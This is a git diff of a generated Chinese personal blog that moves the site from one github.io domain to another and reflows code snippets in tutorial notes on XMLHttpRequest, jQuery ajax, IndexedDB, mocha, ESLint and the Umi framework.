xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true)
console.log(xmlhttp.readyState) // 1
xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){ document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -893,12 +893,12 @@ onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：
     
     <item>
       <title>jQuery-ajax()方法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/13/</link>
+      <link>https://chenjunlinabc.github.io/posts/13/</link>
       <pubDate>Wed, 16 Jun 2021 09:24:37 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/13/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/13/</guid>
       <description>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&amp;quot;button&amp;quot;).click(function(){
$.ajax({
type: &amp;quot;GET&amp;quot;,
url: &amp;quot;https://httpbin.org/get&amp;quot;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+$(document).ready(function(){ $(&amp;quot;button&amp;quot;).click(function(){ $.ajax({ type: &amp;quot;GET&amp;quot;, url: &amp;quot;https://httpbin.org/get&amp;quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -927,10 +927,10 @@ xhr：用于重写或者增强XMLHttpRequest对象的函数</description>
     
     <item>
       <title>原生js实现瀑布流布局</title>
-      <link>https://xiaochenabc123.github.io/posts/10/</link>
+      <link>https://chenjunlinabc.github.io/posts/10/</link>
       <pubDate>Wed, 16 Jun 2021 09:14:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/10/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/10/</guid>
       <description>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
@@ -944,15 +944,15 @@ xhr：用于重写或者增强XMLHttpRequest对象的函数</description>
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName(&#39;imgs&#39;);
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i&amp;lt;data.length;i++){
if(i&amp;lt;dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a&amp;lt;arr.</description>
+var data = document.getElementsByClassName(&#39;imgs&#39;); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&amp;lt;data.length;i++){ if(i&amp;lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&amp;lt;arr.</description>
     </item>
     
     <item>
       <title>简单解决文本溢出问题</title>
-      <link>https://xiaochenabc123.github.io/posts/6/</link>
+      <link>https://chenjunlinabc.github.io/posts/6/</link>
       <pubDate>Wed, 16 Jun 2021 08:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/6/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/6/</guid>
       <description>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
@@ -969,32 +969,32 @@ pre-line：保留空格（可能不完整），保留换行
     
     <item>
       <title>IndexedDB浏览器数据库学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/5/</link>
+      <link>https://chenjunlinabc.github.io/posts/5/</link>
       <pubDate>Tue, 15 Jun 2021 19:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/5/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/5/</guid>
       <description>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
datadb.onerror = function(){
console.log(&amp;quot;数据库打开失败&amp;quot;)
}
datadb.onsuccess = function(){
console.log(&amp;quot;数据库打开成功&amp;quot;);
}
datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); datadb.onerror = function(){ console.log(&amp;quot;数据库打开失败&amp;quot;) } datadb.onsuccess = function(){ console.log(&amp;quot;数据库打开成功&amp;quot;); } datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){ var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true}); 唯一属性
+objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
var db;
var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
db = event.</description>
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); db = event.</description>
     </item>
     
     <item>
       <title>简单了解SEO</title>
-      <link>https://xiaochenabc123.github.io/posts/2/</link>
+      <link>https://chenjunlinabc.github.io/posts/2/</link>
       <pubDate>Sat, 20 Mar 2021 11:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/2/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/2/</guid>
       <description>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
diff --git "a/categories/\351\273\230\350\256\244/page/1/index.html" "b/categories/\351\273\230\350\256\244/page/1/index.html"
index 2e7af59b..a5fd13a7 100644
--- "a/categories/\351\273\230\350\256\244/page/1/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/</title><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/</title><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"></head></html>
\ No newline at end of file
diff --git "a/categories/\351\273\230\350\256\244/page/2/index.html" "b/categories/\351\273\230\350\256\244/page/2/index.html"
index 6aedf477..50c4f130 100644
--- "a/categories/\351\273\230\350\256\244/page/2/index.html"
+++ "b/categories/\351\273\230\350\256\244/page/2/index.html"
@@ -1,21 +1,10 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>默认 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="默认"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E9%BB%98%E8%AE%A4/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="默认"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>默认</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用mocha测试框架</h2></header><div class=entry-content><p>mocha是JavaScript测试框架
 安装
 npm install –global mocha
 测试，例如：
 demo.js
-function abc(a,b,c){
-return a+b+c
-}
-module.exports = abc
-demo.test.js
-const demo = require('./demo.js')
-const expect = require('chai').expect
-describe('test', function() {
-it('错误', function() {
-expect(demo(1,3,7)).to.be.equal(11)
-})
-})
-测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
+function abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js
+const demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）
 mocha demo.test.js
 其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误
 因为mocha本身没有断言库，需要导入 const expect = require(‘chai’).expect
@@ -32,7 +21,7 @@
 –invert ：只执行不符合条件的测试脚本，要搭配–grep使用
 如果要测试ES6，需要转码
 npm install babel-core babel-preset-es2015 –save-dev
-.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://xiaochenabc123.github.io/posts/114/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
+.babelrc...</p></div><footer class=entry-footer><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://chenjunlinabc.github.io/posts/114/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
 安装
@@ -42,7 +31,7 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage –statement 60 –branch -5 –function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://xiaochenabc123.github.io/posts/113/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
+在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://chenjunlinabc.github.io/posts/113/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Lerna多包管理工具</h2></header><div class=entry-content><p>Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包
 安装Lerna
 npm install –global lerna
 新建git仓库（初始化）
@@ -66,7 +55,7 @@
 注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件
 lerna有两个管理模式，分别是固定模式（默认模式）和独立模式
 固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号
-独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://xiaochenabc123.github.io/posts/112/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
+独立模式：init的时候使用–independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号</p></div><footer class=entry-footer><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://chenjunlinabc.github.io/posts/112/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint –save-dev
 或者全局安装
@@ -82,7 +71,7 @@
 “off” or 0 ：关闭规则
 “warn” or 1 ：将规则视为一个警告
 “error” or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://xiaochenabc123.github.io/posts/111/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
+可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://chenjunlinabc.github.io/posts/111/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Umi框架学习笔记</h2></header><div class=entry-content><p>Umi是一款前端应用框架
 官方文档：https://umijs.org/zh-CN/docs
 根据官方文档要求，node版本>=10.13
 yarn create @umijs/umi-app
@@ -93,39 +82,15 @@
 构建项目（默认生成到./dist）
 yarn build
 路由（src\.umi\core\routes.ts）
-"routes": [
-{
-"path": "/",
-"component": require('@/pages/index').default,
-"exact": true
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-"exact": true
-}
-]
-组件文件放在src\pages下
+"routes": [ { "path": "/", "component": require('@/pages/index').default, "exact": true },{ "path": "/admin", "component": require('@/pages/admin').default, "exact": true } ] 组件文件放在src\pages下
 path是路径，component是组件路径，绝对和相对都可以用，也可以有require(’@/pages/xxx’)的方式
 exact表示是否严格匹配，就是path和组件路径是否要完全对应，默认为开启，如果设置为false，表示模糊匹配
 子组件
-"routes": [
-{
-"path": "/",
-"redirect": '/admin',
-},{
-"path": "/admin",
-"component": require('@/pages/admin').default,
-routes: [
-{ path: '/admin/archives', redirect: '/' },
-{ path: '/admin/category', component: 'category' },
-]
-}
-]
-redirect是跳转路由，当访问/的时候，跳转到/admin
+"routes": [ { "path": "/", "redirect": '/admin', },{ "path": "/admin", "component": require('@/pages/admin').default, routes: [ { path: '/admin/archives', redirect: '/' }, { path: '/admin/category', component: 'category' }, ] } ] redirect是跳转路由，当访问/的时候，跳转到/admin
 文件路由（根据目录和文件名来分析路由）
 如果没有routes路由配置，那么就会触发该文件路由，通过分析src/pages目录
-注意：用.或者_开头的文件，用d.ts结尾的文件，不是 ....</p></div><footer class=entry-footer><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://xiaochenabc123.github.io/posts/110/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E9%BB%98%E8%AE%A4/>«&nbsp;Prev&nbsp;</a>
